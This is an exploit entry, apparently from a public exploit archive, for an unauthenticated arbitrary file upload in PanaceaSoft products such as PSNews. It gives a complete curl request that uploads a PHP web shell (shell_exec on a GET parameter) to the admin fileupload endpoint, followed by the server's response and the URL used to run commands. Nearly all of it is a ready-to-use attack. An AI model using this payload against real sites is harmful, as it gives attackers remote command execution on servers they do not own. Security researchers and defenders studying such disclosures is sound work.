# Exploit Title: PanaceaSoft products Arbitrary File Upload/RCE # Google Dork: NA # Date: 25/5/2020 # Exploit Author: syfi # Vendor Homepage: http://www.panacea-soft.com/ # Software Link: http://www.panacea-soft.com/ # Version: latest # Tested on: Ubuntu # CVE : NA # Vulnerability Description: # PanaceaSoft products (ex:PSNews, PS-Store, Flutter Store, etc) suffers from an Unauthenticated File Upload Vulnerability, this lead to Remote Code Execution (RCE) by uploading a malicious PHP file. #the vulnerability in UploadHandler.php (jquery) # posting file to http://target//index.php/admin/fileupload/upload #PoC PSNews $ curl -i -s -k -X $'POST' \ -H $'Host: HOST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: multipart/form-data; boundary=---------------------------132875777438352085691040662542' -H $'Content-Length: 285' \ --data-binary $'\x0d\x0a-----------------------------132875777438352085691040662542\x0d\x0aContent-Disposition: form-data; name=\"files[]\"; filename=\"1337.php\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a<?php echo shell_exec($_GET[\'zz\'].\' 2>&1\'); ?>\x0d\x0a-----------------------------132875777438352085691040662542--\x0d\x0a' \ $'http://TARGETURI/psnews/index.php/admin/fileupload/upload' response: {"files":[{"name":"1337.php","size":48,"type":"application\/octet-stream","width":null,"height":null,"id":"imgafb6b26b03ebd342f850d050a302c0f5","description":null,"url":"http:\/\/TARGETURI\/psnews\/uploads\/1337.php","deleteUrl":"http:\/\/TARGETURI\/psnews\/index.php\/admin\/fileupload\/upload?file=1337.php&_method=DELETE","deleteType":"POST"}]} RCE: http://TARGETURI/psnews/uploads/1337.php #more details # https://github.com/SyFi/PanaceaSoft-0day-Exploit # twitter @syfi2k # 0xSAUDI